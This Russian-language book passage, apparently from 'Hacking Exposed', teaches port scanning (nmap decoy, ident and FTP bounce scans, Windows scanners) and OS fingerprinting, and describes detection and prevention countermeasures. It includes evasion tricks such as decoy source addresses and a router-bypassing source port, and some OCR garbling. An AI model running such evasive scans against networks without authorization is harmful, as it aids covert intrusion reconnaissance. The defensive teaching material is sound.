      Если архитектура системы безопасности исследуемой сети и ее узлов была хорошо продумана, то эта система без особого труда выявит сканирование, осуществляемое с помощью приведенных выше примеров. Для таких случаев утилита nmap предоставляет дополнительные возможности маскирования, предназначенные для заполнения системных журналов исследуемого узла избыточной информацией. Данный режим включается с помощью параметра -D. Главная идея данного подхода состоит в том, чтобы во время выполнения реального сканирования создать видимость одновременного сканирования из других указанных в командной строке адресов. Для того чтобы воспрепятствовать такому сканированию, системе безопасности исследуемого узла придется проверить все записи, чтобы выяснить, какие из полученных IP-адресов источников сканирования являются реальными, а какие — фиктивными. При использовании данного метода нужно удостовериться в том, что IP-адреса, выступающие в качестве маскировочных, принадлежат реальным узлам, которые в момент сканирования подключены к Internet. В противном случае исследуемая система будет не в состоянии обработать все сообщения SYN, в результате чего возникнет условие DoS.

      [tsunami] nmap -sS 192.168.1.1 -D 10.1.1.1
      www.target_web.com,ME -p25,139,443
      Starting nmap V. 2.53 by fyodor@insecure.org
      Interesting ports on (192.168.1.1):
      Port State ' Protocol Service
      25 open tcp smtp
      443 open tcp https
      Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

      В приведенном примере параметры, введенные в командной строке утилиты nmap, обеспечивают сканирование в режиме, затрудняющем обнаружение реального адреса сканирующего узла.
      Еще одним полезным методом является сканирование с целью идентификации запущенных процессов (подробнее о нем говорится в RFC 1413, http://www.ieff.org/rfc/rfcl413.txt). Этот тип сканирования, называемый ident-сканированием, предназначен для определения пользователя путем установления TCP-соединения с портом 113. Очень часто в ответ приходит сообщение, содержащее идентификатор владельца процесса, связанного с данным портом. Однако этот метод годится лишь для исследования систем UNIX.

      [tsunami] nmap -I 192.168.1.10
      Starting nmap V. 2.53 by fyodor@insecure.org
      Port State Protocol Service Owner
      22 open tcp ssh root
      25 open tcp smtp root
      80 open tcp http root
      110 open tcp pop-3 root
      113 open tcp auth root
      6000 open tcp Xll root

      В приведенном выше фрагменте показано, как идентифицируются владельцы всех обнаруженных процессов. Опытный читатель должен обратить внимание на то, что Web-сервер принадлежит не пользователю nobody, как это должно быть в соответствии с элементарными правилами обеспечения безопасности, а пользователю root, что является вопиющим нарушением. Выполнив идентификацию процессов и установив такой интересный факт, можно заключить, что взломщик, которому удастся проникнуть через систему защиты Web-сервера, получит полный контроль над данным компьютером.
      Последний метод, на котором мы остановимся, называется сканированием с прорывом по FTP (FTP bounce scanning). Этот метод впервые был описан Хоббитом (Hobbit). В своей статье, опубликованной в электронном бюллетене Bugtraq в 1995 году, он осветил некоторые скрытые недостатки протокола FTP (RFC 959, http://www.ietf.org/rfc/rfc0959.txt). Кратко данный метод можно описать как скрытное подключение через FTP-сервер, используя поддержку proxy-серверов, реализованную на этом FTP-сервере. Как отмечает Хоббит в вышеупомянутой статье, прорыв по FTP "можно использовать практически для неотслеживаемой отправки электронной почты и сообщений в группы новостей, взлома серверов различных сетей, заполнения диска, попыток прорыва через брандмауэры и другой вредоносной деятельности, которая при этом может оставаться практически незамеченной". Добавим, что с помощью прорыва по FTP можно сканировать порты, чтобы скрыть свой адрес, и, что еще более важно, обходить устройства управления доступом.
      Конечно, утилита nmap поддерживает и этот режим сканирования (параметр -b). Однако для его выполнения необходимо соблюдение нескольких условий. Во-первых, на FTP-сервере должен быть каталог, доступный для чтения/записи со стороны любого пользователя, например /incoming. Во-вторых, FTP-сервер должен принять от утилиты nmap заведомо неправильную информацию о порте с помощью команды PORT. Хотя этот метод очень эффективен для проникновения через устройства управления доступом, а также для сокрытия своего адреса, у него есть один существенный недостаток — слишком низкая скорость работы. Кроме того, многие современные FTP-серверы просто запрещают выполнение таких операций.
      Однако применение различных средств для сканирования портов — это только половина задачи. Теперь нужно разобраться с тем, как проанализировать данные, полученные с помощью каждой из утилит. Независимо от применяемого средства, необходимо идентифицировать открытые порты, поскольку их перечень позволит определить операционную систему удаленного узла. Например, если на узле открыты порты 135 и 139, то, скорее всего, этот узел работает под управлением операционной системы Windows NT. Обычно Windows NT опрашивает порты 135 и 139, тогда как Windows 95/98 — лишь порт 139.
      Например, изучив результаты, полученные во время работы утилиты strobe, которая рассматривалась выше в этой главе, можно заключить, что исследовавшийся в рассматриваемом примере узел работает под управлением операционной системы из семейства UNIX. Данный вывод можно сделать на основании того, что на исследуемом узле открыты порты с номерами 111 (portmapper), 512-514 (службы Berkley R), 2049 (NFS), а также порты с номерами 3277Х, что характерно именно для систем семейства UNIX. Более того, можно также предположить, что данная операционная система относится к семейству Solaris — именно этой системе присуще использование служб RPC вместе с портам из этого диапазона. Нужно подчеркнуть, что это лишь предположения, поскольку в действительности установленная операционная система, если с ее настройкой поработал опытный администратор безопасности, может лишь "выдавать себя" за Solaris, а в действительности не иметь с ней ничего общего.
      Итак, после завершения TCP- и (или) UDP-сканирования портов уже можно выдвинуть предположения о типе операционной системы, работающей на исследуемом узле, и, следовательно, о том, как можно проникнуть на этот узел. Например, если на сервере Windows NT открыт порт 139, то такой узел подвергается очень высокой степени риска. Подробнее о скрытых недостатках системы защиты Windows NT, а также о том, как с помощью порта 139 можно проникнуть в систему, в которой не приняты адекватные контрмеры для защиты этого порта, рассказывается в главе 5. Рассматривавшаяся в качестве примера система UNIX, скорее всего, также подвергается большому риску, поскольку выявленные нами работающие службы предоставляют в распоряжение удачливого взломщика очень большие возможности. Например, использование служб удаленного вызова процедур (RPC — Remote Procedure Call) и поддержки сетевой файловой системы (NFS — Network File System) являются двумя основными методами проникновения через систему защиты сервера UNIX (подробнее см. главу 8). С другой стороны, если служба RPC не находится в режиме ожидания запросов, то проникнуть через ее систему защиты практически невозможно. Именно поэтому так важно помнить, что чем больше служб работает на компьютере, тем большему риску он подвергается.


      5. Утилиты сканирования портов для системы Windows



      Утилиты сканирования портов для системы Windows


      В предыдущих разделах были рассмотрены утилиты сканирования портов с точки зрения пользователя UNIX, однако неужели не существует аналогичных средств, доступных для пользователей Windows? Конечно же, это не так. Следующие утилиты сканирования портов являются лучшими среди подобных средств, поскольку обладают высокой скоростью, точностью и широким набором функциональных возможностей.

      NetScanTools Pro 2000



      Одним из наиболее универсальных средств исследования сетей, доступных в настоящее время, является пакет NetScanTools Pro 2000 (NSTP2K), содержащий самые разнообразные утилиты, объединенные общим интерфейсом. С использованием NSTP2K можно генерировать запросы DNS, включая nslookup, dig и axf r, запросы whois, осуществлять ping-прослушивание, сканировать таблицы имен NetBIOS, отслеживать сообщения SNMP и выполнять многие другие задачи. Более того, с использованием пакета NetScanTools Pro 2000 можно выполнять несколько задач одновременно. Например, можно выполнять сканирование портов одной сети и осуществлять ping-прослушивание другой сети (хотя мы не можем ручаться за правильность таких действий по отношению к большим сетям).
      В состав пакета NetScanTools Pro 2000 включен также один из лучших сканеров портов Windows. Все необходимые параметры можно установить во вкладке Port Probe. К преимуществам утилиты сканирования NSTP2K. можно отнести возможность гибкого задания параметров исследуемых узлов и портов (и IP-адреса и список портов могут быть импортированы из текстовых файлов), возможность TCP- и UDP-сканирования (хотя соответствующие режимы нельзя установить отдельно для каждого порта), а также высокую скорость благодаря реализации многопоточности. К недостаткам утилиты сканирования пакета NSTP2K можно отнести некоторую громоздкость получаемых результатов, что затрудняет их анализ с помощью сценариев, и, кроме того, графический интерфейс делает невозможным применение этой утилиты в сценариях. Нам хотелось бы высказать следующее пожелание: было бы очень удобно, чтобы результаты, полученные с использованием одной утилиты пакета NSTP2K (скажем, NetScanner), можно было бы напрямую передавать другой утилите (например, Port Probe).
      В общем, пакет NSTP2K (http://www.nwpsw.com) представляет собой профессионально разработанный программный продукт, который регулярно обновляется посредством сервисных пакетов, однако все же остается несколько дорогостоящим по сравнению с предоставляемыми им возможностями. Можно также познакомиться с менее робастной версией Netscan Tools (в настоящее время доступна версия 4), являющейся пробной 30-дневной версией пакета NSTP2K. Однако предоставляемые ею возможности не столь широки, как у пакета Pro 2000 (например, она не позволяет выполнять UDP-сканирование).
      При использовании пакета NSTP2K не забудьте отключить сервер идентификации во вкладке IDENT Server, чтобы не запрещать прослушивание порта 113. На рис. 2.3 показан комплект утилит NSTP2K. в действии при сканировании сети среднего размера.

      SuperScan



      Утилита SuperScan, написанная Робином Кейром (Robin Keir) (http: //members. home.com/rkeir/software.html), является еще одной быстрой и гибкой утилитой TCP-сканирования портов и имеет гораздо более привлекательную стоимость — она распространяется бесплатно! Как и пакет NSTP2K, утилита SuperScan позволяет гибко задавать перечень IP-адресов исследуемых узлов и сканируемых портов. Особенно удобно использовать режим Extract from file (рис. 2.4). Лучше всего особенности его применения описаны в справочной системе. Вот небольшой фрагмент из справочной системы утилиты SuperScan, из которого видно, что она позволяет сэкономить значительную часть времени.



      Рис. 2.3. NetScan Tools Pro 2000 является одним из самых быстрых и гибких средств исследования/сканирования сетей на базе системы Windows



      Рис. 2.4. Утилита SuperScan позволяет извлекать адреса из файла, и эта возможность является очень удобной. Просто задайте имя любого текстового фата, и утилитой будут импортированы имена узлов и IP-адреса из нескольких файлов, а также выполнена подготовка к сканированию портов

      "Режим [The "Extract from file" feature scans] позволяет просматривать содержимое любого текстового файла и извлекать из него корректные IP-адреса и имена узлов. При поиске корректных имен программой выполняются достаточно интеллектуальные действия. Однако перед обработкой файла из него нужно удалить потенциально неоднозначные фрагменты текста, воспользовавшись внешним текстовым редактором. На кнопках Browse и Extract можно щелкать столько раз, сколько различных файлов имеется в вашем распоряжении. При этом в список имен исследуемых узлов программой будут добавлены все новые имена. Все повторяющиеся элементы будут автоматически удалены. После нахождения всех имен узлов щелкните на кнопке Resolve, чтобы преобразовать их в числовые IP-адреса и выполнить подготовку к этапу сканирования портов."
      Невозможно проиллюстрировать возможности утилиты SuperScan лучше, чем это сделано на рис. 2.4. Эта утилита предоставляет также один из наиболее обширных списков портов, с которым нам когда-либо приходилось встречаться. (Авторам книги нравится список под названием henss.lst. Более того, в исходном англоязычном названии книги первые буквы составляют аббревиатуру HENSS&S, откуда можно заключить, что авторы — просто фанаты этого списка.) Кроме того, порты можно выделить или отменить их выделение вручную. Не лишний раз повторить, что утилита SuperScan помимо всех перечисленных возможностей обладает также и высокой скоростью.

      NTOScanner



      Утилита NTOScanner компании NTObjectives, Inc. (http://www.ntobjectives.com) представляет собой быструю программу TCP-сканирования с графическим интерфейсом, которая при ручной установке соответствующего режима позволяет также собирать маркеры портов, находящихся в состоянии ожидания запросов. Однако эта утилита имеет некоторые неудобства при задании исследуемых узлов и портов, а также требует, чтобы перед сканированием сетей класса С к узлам было применено ping-прослушивание. Утилита NTOScanner чрезвычайно полезна для определения служб, запущенных на конкретном узле или в сети, достижимой с помощью ICMP-пакетов. На рис. 2.5 показана утилита NTOScanner в процессе получения маркеров с удаленного зашумленного узла.

      WinScan



      Утилита WinScan компании Scan Mathias of Prosolve (http://www.prosolve.com) является свободно распространяемой программой TCP-сканирования портов, реализованной в двух версиях: с графическим интерфейсом (winscan.exe) и для использования в командной строке (scan.exe). Мы регулярно обращаемся к версии для командной строки в файлах сценариев, поскольку при сканировании сетей класса С она позволяет получить удобные для анализа результаты. При использовании утилит Win32 strings, tee и tr компании Mortice Kern Systems, Inc. (http://www.mks.com) следующая консольная команда NT будет выполнять сканирование сети для портов из диапазона 0-1023 и формировать результат в виде строк с полями, разделенными двоеточиями, в формате IP-адрес:имя_службы: порт/протокол (для облегчения восприятия строка была разделена на две части).

      scan.exe -n 192.168.7.0 -s 0 -е 1023 -f|strings|findstr/с:"/top"|
       tr \011\040 : | tr -s ::|tee -ia results.txt

      Параметр -f при медленных соединениях лучше не использовать, поскольку полученные результаты могут оказаться не очень надежными. При запуске приведенной выше команды будут получены примерно следующие данные.

      192.168.22.5:nbsession:139/tcp
      192.168.22.16:nbsession:139/tcp
      192.168.22.32:nbsession:139/tcp

      Большое спасибо Патрику Хейму (Patrick Heim) и Ясону Глассбергу (Jason Glassberg) за предоставление этой интересной команды.
      ipEye
      Не думаете ли вы, что для выполнения нетрадиционного сканирования потребуется система Linux и утилита nmap? He торопитесь с выводами, поскольку утилита ipEye Арни Видстрома (Arne Vidstrom)'(http: //ntsecurity.nu) позволяет выполнить сканирование требуемых портов, а также TCP-сканирование с помощью сообщений SYN, FIN и с использованием метода "рождественской елки", из командной строки Windows. На использование этой прекрасной утилиты накладывается лишь несколько ограничений. Они заключаются в том, что ее можно использовать только в среде Windows 2000 и одновременно сканировать один узел. Вот пример запуска утилиты ipEye для выполнения TCP-сканирования с помощью сообщений SYN порта с номером 20. При этом предпринята попытка избежать правил фильтрации, используемых маршрутизатором. Приведенный пример аналогичен запуску утилиты nmap с параметром -д (для краткости полученные результаты отредактированы).



      Рис. 2.5. После сканирования портов утилита NTOScanner позволяет выполнить сбор маркеров

      С:\Toolbox>ipeye.exe
      192.168.234.110 -syn -p 1 1023 -sp 20

      ipEye 1.1 - (с) 2000, Arne Vidstrom (arne.vidstrom@ntsecurity.nu)
      - http://ntsecurity.nu/toolbox/ipeye/
      1-52 [closed or reject]
      53 [open]
      54-87 [closed or reject]
      88 [open]
      89-134 [closed or reject]
      135 [open]
      136-138 [closed or reject]
      139 [open]
      636 [open]
      637-1023 [closed or reject]
      1024-65535 [not scanned]

      WUPS



      Утилита Windows UDP Port Scanner (WUPS) разработана теми же авторами (http://ntsecurity.nu). Эта утилита представляет собой надежное, с графическим интерфейсом и относительно быстрое средство сканирования UDP-портов, несмотря на то, что позволяет одновременно сканировать заданную последовательность портов лишь одного узла. Как видно из рис. 2.6, утилита WUPS является надежным средством для быстрого UDP-сканирования каждого требуемого узла и, следовательно, значительно облегчает выполнение этой утомительной задачи.



      Рис. 2.6. Утилитой WUPS обнаружена система, в которой запущена служба SNMP (UDP 161)


      3.gif

      Изображение: 

      4.gif

      Изображение: 

      5.gif

      Изображение: 

      6.gif

      Изображение: 

      6. Защита от сканирования портов



      Защита от сканирования портов


      В табл. 2.2 приведен перечень различных популярных утилит сканирования, а также типы сканирования, которые эти утилиты позволяют выполнять.

      Контрмеры: защита от сканирования портов



      Выявление факта сканирования
      Как правило, взломщики прибегают к сканированию TCP- и UDP-портов удаленного компьютера, чтобы установить, какие из них находятся в состоянии ожидания запросов. Поэтому выявить факт сканирования — значит, установить, в каком месте и кем будет предпринята попытка взлома. Основные методы выявления факта сканирования состоят либо в использовании специальной программы, предназначенной для выявления вторжений на уровне сети (IDS), такой как NFR, либо в использовании механизма защиты на уровне отдельного узла.

      Таблица 2.2. Популярные утилиты сканирования портов и их возможности


       
        Утилита
      Сканирование
        Ресурс
        UNIX
        TCP 
        UDP    Скрытое
            ftp://f tp.FreeBSD.org/
      pub/FreeBSD
      /ports/distfiles/strobe-1.06.tgz

            http://wwdsilx.
      wwdsi.com/saint/

        X      http://wwdsilx.
      wwdsi.com/saint/

        X   X http://www. inscure . org/nmap
        X    http://www.10pht.com/
      users/10pht/nc110.tgz

        Windows
      Netcat
        X    http://www.10pht.com/users/
      10pht/ncllnt.zip

        X      http://www.nwpsw.com
            http://members.home.com/
      rkeir/software.html

            http://www.ntobjectives.com
            http://www.prosolve.com
           http://ntsecurity.nu
        X    http://ntsecurity.nu
        X    http://www.foundstone.com

      Метод UDP-сканирования утилиты netcat не работает в операционной системе Windows NT, поэтому пользователям этой ОС не стоит доверять полученным результатам.

      # Алгоритм выявления факта сканирования
      # Автор - Стюарт Мак-Клар (Stuart McClure)
      # Данный алгоритм выявляет неудачные попытки сканирования портов,
      # которые приводят к генерации сообщений ACK/RST.
      В процессе настройки
      # можно поэкспериментировать со значениями
      # maxcount и maxtime.
      port_schema = library_schema:new( 1, ["time", "ip", "ip",
      "int"],
      scope() };
      time = 0;
      count = 0;
      maxcount =2; t Максимально допустимое количество ACK/RST.
      maxtime =5; tt Максимально допустимое время, в течение
      # которого может достигаться значение maxcount.
      source = 0; port = 0; target = 0;
      filter portscan ip ( )
      {
      if (tcp.is)
      (
      # Проверка АСК, RST и источника поступления.
      if ( byte(ip.blob, 13) == 20 )
      # Установлены флаги АСК, RST
      {
      count = count + 1;
      source = ip.dest;
      target = ip.source;
      port = tcp.sport;
      time = system.time;
      } } on tick = timeout
      ( sec: maxtime, repeat )
      call checkout;
      }
      func checkout {
      if (count >= maxcount) {
      echo("Попытка сканирования порта,
      Время: ", time, "\n); record system.time, source, target,
      port to the_recorder_portscan; count = 0; }
      else
      count = 0;
      }
      the_recorder_portscan=recorder("
      bin/histogram packages/sandbox/portscan.cfg",
      "port_schema"
      );

      Для выявления попыток сканирования портов можно также воспользоваться утилитой snort (www.snort.org) (см. также http://spyjurenet.com/linuxrc.org/projects/ snort/). Как вы могли догадаться, эта утилита является одной из предпочитаемых нами программ IDS (заметим, что ее версии 1.x не позволяют обнаруживать фрагментацию пакетов). Вот пример листинга, содержащего данные о попытке сканирования портов.

      [**] spp_portscan: PORTSCAN DETECTED from 192.168.1.10 [**]
      05/22-18:48:53.681227
      [**] spp_portscan: portscan status from 192.168.1.10: 4 connections
      across 1 hosts: TCP(O), UDP(4) [**]
      05/22-18:49:14.180505
      [**] spp_portscan: End of portscan from 192.168.1.10 [**]
      05/22-18:49:34.180236

      Для платформы UNIX существует немало утилит, таких, например, как Утилита: scanlogd (http://www.openwall.com/scanlogd/) компании Solar Designer, которые выявляют и регистрируют попытки сканирования. Кроме того, утилиту Psionic PortSentry, созданную в рамках проекта Abacus (http://www.psionic.com/abacus), можно настроить не только на регистрацию, но и на принятие контрмер при выявлении факта активного сканирования. Один из способов борьбы с попытками сканирования портов заключается в автоматической установке для ядра правил фильтрации, когда к уже существующим добавляется новое правило, запрещающее доступ со стороны узла-нарушителя. Такое правило можно задать в конфигурационном файле утилиты PortSentry. При этом одно и то же правило может отличаться в различных системах. Для системы Linux 2.2.x, в которой имеется поддержка ядра брандмауэра, в файл portsentry.conf нужно добавить запись, аналогичную следующей.

      # New ipchain support for Linux kernel version 2.102+
       KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -1"

      Утилита PortSentry совместима с большинством версий UNIX, включая Solaris. Независимо от того, применяете ли вы какие-либо утилиты или нет, необходимо помнить, что массированные попытки сканирования портов, инициируемые каким-либо узлом или какой-нибудь сетью, могут означать, что кто-то изучает вашу сеть. Всегда обращайте самое пристальное внимание на такие действия, поскольку за ними может последовать полномасштабное вторжение. И наконец, не забывайте о том, что имеется возможность активного противостояния или блокирования попыток сканирования портов. Все эти вопросы рассматриваются в статье, опубликованной компанией Solar Designer (http://www. openwall.com/scanlogd/P53-13.gz). В этой статье содержатся дополнительные советы по разработке и использованию систем выявления попыток сканирования.
      Большинство брандмауэров не только могут, но и должны настраиваться на режим обнаружения попыток сканирования. Однако одни брандмауэры справляются с этой задачей лучше, другие хуже. Например, некоторые брандмауэры умеют выявлять скрытое сканирование. Однако многие из них, поддерживая режим выявления SYN-сканирования, абсолютно игнорируют FiN-сканирование. Самой большой проблемой при выявлении факта сканирования является задача анализа огромных системных журналов, накапливаемых при ежедневной работе серверов сети. Для упрощения решения этой задачи можно воспользоваться утилитой Psionic Logcheck (http: //www.-psionic.com/abacus/logcheck/). Кроме того, мы рекомендуем настроить утилиты таким образом, чтобы они реагировали на обнаруженные попытки сканирования в реальном времени, отсылая сообщения по электронной почте. Везде, где это только возможно, устанавливайте пороговые значения для количества регистрируемых событий (threshold logging), чтобы взломщик не завалил ваш почтовый ящик грудой сообщений, в которых будет так же трудно найти информацию, как и в системных журналах. Кроме того, в этом случае может также возникнуть условие DoS. При использовании пороговых значений все предупреждения будут группироваться, а не обрабатываться по одному. Как минимум необходимо настроить систему безопасности на выдачу отчетов о самом факте выявленной попытки сканирования. Для брандмауэра Firewall-1 с этой целью можно использовать утилиту Ланца Спитцнера (Lance Spitzner) alert, sh (http://www. enteract.com/~lspitz/intrusion.html). Эта утилита будет выявлять и отслеживать попытки сканирования портов, работая под управлением Firewall-1 в качестве средства защиты, заданного пользователем.
      Для платформы Windows NT также имеется несколько утилит, предназначенных для выявления попыток сканирования. Прежде всего, необходимо отметить такую утилиту, как Genius 2.0, разработанную компанией Independent Software (http://www. indiesoft.com) для платформ Windows 95/98 и Windows NT. Этот программный продукт предоставляет гораздо больше возможностей, чем простое средство обнаружения TCP-сканирования портов. Однако необходимо отметить, что даже с учетом этого, имеет смысл его использовать. Утилита Genius отслеживает многочисленные запросы к открытым портам и при обнаружении попыток сканирования отображает на экране предупреждающее диалоговое окно, в котором содержится IP-адрес взломщика и доменное имя его узла.
      Утилита Genius позволяет выявлять как попытки обычного сканирования, т.е. с установлением TCP-соединения, так и SYN-сканирования.


      Еще одним детектором сканирования для системы Windows, заслуживающем отдельного упоминания, является программа BlackICE (рис. 2.7) компании Network ICE (http://www.-networkice.com). Данная программа представляет первое основанное на использовании агентов средство выявления вторжений, которое можно использовать как в Windows 9х, так и в NT. В момент написания данной книги этот программный продукт был коммерческим, хотя в ближайшем будущем компания обещает подготовить свободно распространяемую версию. И наконец, программа ZoneAlarm (http://www.zonelabs.com/zonealarm.htm) хорошо подходит для платформы Windows и может применяться в качестве средства IDS на уровне брандмауэра.



      Рис. 2.7. Кроме обнаружения обычного TCP-сканирования портов, программа BlackICE может выявлять также VDP-сканирование, запросы на открытие нулевых сеансов NT, pir.q-прослушивание с помощью пакета pcAnywhere, попытки взлома с помощью WinNuke, множественные запросы, применение утилиты tracerovte, Smurf-взломы и многое другое

      Предотвращение сканирования



      Вряд ли можно помешать кому-либо предпринять попытку сканирования портов на вашем компьютере, однако вполне реально свести к минимуму связанный с этим риск. Для этого нужно заблокировать все службы, в работе которых нет необходимости. В среде UNIX данная задача решается с помощью добавления символов комментария в соответствующие строки файла /etc/inetd. corif, а также отключения автоматического запуска ненужных служб в сценарии начальной загрузки. Более подробно эти вопросы освещены в главе 8, "Хакинг UNIX".
      В системе Windows NT также целесообразно отключить все ненужные службы. Однако сделать это сложнее, поскольку из-за сетевой архитектуры Windows NT по крайней мере Порт 139 должен работать постоянно. Тем не менее, остальные службы можно отключить, запустив аплет Services панели управления. Способы нарушения безопасности системы Windows NT и контрмеры, которые можно предпринять для их предотвращения, более подробно будут рассмотрены в главе 5. Здесь же стоит упомянуть о том, что компанией Tiny Software (www.tinysoftware.com) распространяется модуль ядра, позволяющий выполнять фильтрацию входящих пакетов. С помощью этого модуля можно защитить большинство важных портов.
      Что же касается других операционных систем и устройств, то нам остается лишь посоветовать как можно внимательнее прочитать соответствующие справочные руководства. Постарайтесь найти в них информацию о том, какие порты вам действительно необходимы и как отключить остальные, чтобы свести риск к минимуму.

      Активное определение операционной системы



      Итак, мы убедились, что существует множество различных приемов и средств сканирования портов. Вспомните, что при сканировании портов преследуется две основные цели. Во-первых, нужно установить, какие TCP- и UDP-порты на исследуемом компьютере находятся в состоянии ожидания запросов. Во-вторых, необходимо определить тип операционной системы, используемой на удаленном узле. Информация об операционной системе понадобится на последующих этапах, при составлении схемы уязвимых участков. Об этом речь пойдет в последующих главах. Важно помнить, что при этом необходимо быть особенно точным и внимательным к мелочам. Именно поэтому очень важно абсолютно правильно установить тип удаленной операционной системы. При определении типа ОС очень полезной оказывается косвенная информация, получаемая, например с помощью сбора маркеров, о которых мы поговорим в главе 3. При этом будет собрана информация о таких службах, как FTP, telnet, SMTP, HTTP, POP и других. Сбор маркеров — это один из самых простых методов определения типа операционной системы, а также версий работающих под ее управлением служб. Нетрудно догадаться, что существуют различные средства, призванные помочь в решении этой задачи. Среди доступных можно отметить две утилиты, позволяющие получить самые точные результаты, — уже хорошо нам известная nmар и утилита queso. Точность результатов, выдаваемых обеими утилитами, объясняется, прежде всего, тем, что обе они предоставляют возможность исследования стека протоколов TCP/IP (stack fingerprinting).


      7.gif

      Изображение: 

      8.gif

      Изображение: 

      7. Активное исследование стека



      Активное исследование стека


      Прежде чем перейти к рассмотрению возможностей утилит nmap и queso, необходимо вкратце пояснить, в чем же состоит суть исследования стека TCP/IP. Исследование стека (stack fingerprinting) — это очень мощная технология, позволяющая быстро определить тип и версию операционной системы узла с высокой степенью вероятности. Очевидно, что разные разработчики по-разному подходят к реализации стека TCP/IP. В частности, многие разработчики по-своему трактуют рекомендации документов RFC, что впоследствии проявляется в логике работы тех или иных сетевых служб. Таким образом, зная о существующих различиях и проверив реакцию служб изучаемой системы на различные ситуации, можно практически однозначно определить тип и версию соответствующей операционной системы. Для достижения максимальной достоверности при исследовании стека требуется по крайней мере один порт, находящийся в режиме ожидания запросов. С помощью утилиты nmap можно выдвинуть предположение об используемой операционной системе даже при отсутствии таких портов, однако степень его достоверности в этом случае будет невысокой. Полное описание процесса исследования стека можно найти в статье Федора (Fyodor), впервые публикованной в журнале Phrack Magazine.
      Ниже приведен перечень тестов, которые можно использовать в процессе исследования стека для определения типа и версии операционной системы.

      •  Передача пакетов FIN (FIN probe). Пакет FIN отсылается в открытый порт. Как уже упоминалось, согласно документу RFC 793 исследуемая система не должна отвечать на такое сообщение. Однако многие реализации стека (например, Windows NT) отвечают на них, отправляя пакет FIN/ACK.
      •  Попытка установки флагов (bogus flag probe). Отсылается пакет SYN с установленным флагом в заголовке TCP, значение которого не определено спецификацией протокола. Некоторые операционные системы, например Linux, в ответном пакете устанавливают этот же флаг.
      •  Изучение начальной последовательности (Initial Sequence Number (ISN) sampling). Основная задача этого теста — попытаться определить характерные признаки начальной последовательности, генерируемой узлом при получении запроса на установку соединения, которые характерны для той или иной реализации TCP.
      •  Мониторинг бита фрагментации ("don't fragment bit" monitoring). Этот бит устанавливается некоторыми операционными системами для повышения производительности. Проверка данного бита может помочь в определении типа операционной системы, для которой характерно такое поведение.
      •  Исходный размер окна TCP (TCP initial window size). Для некоторых реализаций стека протоколов TCP/IP данный параметр уникален, что способствует точности определения типа операционной системы.
      •  Значение АСК (дек value). В различных реализациях стека IP по-разному задается значение поля АСК. В одних случаях возвращается полученный от вас номер последовательности, а в других — значение номера последовательности, увеличенное на 1.
      •  Обработка сообщений об ошибках ICMP (ICMP error message quenching). Некоторые операционные системы следуют рекомендациям документа RFC 1812 (www. ietf.org/rfc/rfcl812.txt) и ограничивают скорость передачи сообщений об ошибках. Поэтому, отправляя UDP-пакеты на какой-либо порт (обычно с большим номером), вполне реально измерить количество сообщений об ошибках, поступившее за определенный период, и определить таким образом тип операционной системы.
      •  Измерение длины сообщений ICMP (ICMP message quoting). При возникновении ошибок ICMP разными операционными системами передаются сообщения различной длины. Проанализировав полученное сообщение, можно сделать некоторые предположения об исследуемой операционной системе.
      •  Проверка целостности ответных сообщений об ошибках ICMP (ICMP error message-echoing integrity). В некоторых реализациях стека используется изменение заголовка IP при возврате сообщений об ошибках ICMP. Проверив тип изменений, внесенных в заголовок, можно сделать некоторые предположения об операционной системе исследуемого узла.
      •  Тип службы (TOS — type of service). Можно проверять поле TOS для сообщений "ICMP port unreachable" (порт недоступен). В большинстве реализаций это поле имеет значение 0, однако иногда используются и другие значения.
      •  Обработка фрагментации (fragmentation handling). Как отмечают Томас Пташек (Thomas Ptacek) и Тим Ньюсхам (Tim Newsham) в своей известной статье Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection (http://www. clark.net/~roesch/idspaper.html), различные стеки обрабатывают перекрывающиеся сообщения по-разному. При сборке фрагментированньк пакетов некоторые стеки записывают новые данные поверх старых и наоборот. Проверив, каким образом были собраны тестовые пакеты, можно сделать предположение об исследуемой операционной системе.
      •  Параметры TCP (TCP options). Параметры TCP определены в документе RFC 793 и недавно изданном RFC 1323 (www.ietf.org/rfc/rfcl323.txt). Нововведения, описанные в RFC 1323, нашли отражение только в самых последних реализациях стеков. Отправляя пакет с набором различных параметров, таких как по operation, maximum segment size, window scale factor, timestamp и так далее, можно сделать вывод о типе и версии операционной системы.

      Для того чтобы воспользоваться утилитой nmap и выполнить все перечисленные тесты (за исключением обработки фрагментации и обработки сообщений об ошибках ICMP), достаточно указать в командной строке параметр -о. Давайте посмотрим, как будет выглядеть полученный результат.

      [tsunami] nmap -0192.168.1.10
      Starting nmap V. 2.53 by fyodor@insecure.org
      Interesting ports on shadow (192.168.1.10) :
      Port State Protocol Service
      7 open tcp echo
      9 open tcp discard
      13 open tcp daytime
      19 open tcp chargen
      21 open tcp ftp
      22 open tcp ssh
      23 open tcp telnet
      25 open tcp smtp
      37 open tcp time
      111 open tcp sunrpc
      512 open tcp exec
      513 open tcp login
      514 open tcp shell
      2049 open tcp nfs
      4045 open tcp lockd
      TCP Sequence Prediction: Class=randorn positive increments
      Difficulty=26590 (Worthy challenge)
      Remote operating system guess: Solaris 2.5, 2.51

      Как видно, при включении режима исследования стека утилиты nmap можно легко получить достаточно точное определение типа и версии операционной системы. Даже если на изучаемом узле не открыто ни одного порта, утилита nmap поможет сделать довольно точное предположение об используемой операционной системе.

      [ tsunami]# nmap -p80 -0 10.10.10.10
      Starting nmap V. 2.53 by fyodor@insecure.org
      Warning: No ports found open on this machine,
      OS detection will be
      MUCH less reliable
      No ports open for host (10.10.10.10)
      Remote OS guesses: Linux 2.0.27 - 2.0.30, Linux 2.0.32-34,
      Linux 2.0.35-36, Linux 2.1.24 PowerPC,
      Linux 2.1.76, Linux 2.1.91 - 2.1.103,
      Linux 2.1.122 - 2.1.132; 2.2.0-prel - 2.2.2, Linux 2.2.0-pre6 - 2.2.2-ac5
      Nmap run completed -- 1 IP
      address (1 host up) scanned in 1 second

      Как видно из приведенного листинга, утилита nmap даже без открытых портов, правильно определила операционную систему Linux.
      Одной из примечательных особенностей утилиты nmap является то, что листинг сигнатур хранится в отдельном файле с именем nmap-os-fingerprints. При появлении каждой новой версии утилиты этот файл также обновляется, и на момент написания данной книги в нем содержались сотни сигнатур. Если вы хотите добавить новые сигнатуры и повысить таким образом эффективность утилиты nmap, обратитесь ПО адресу http://www.insecure.org:80/cgi-bin/nmap-submit.cgi.
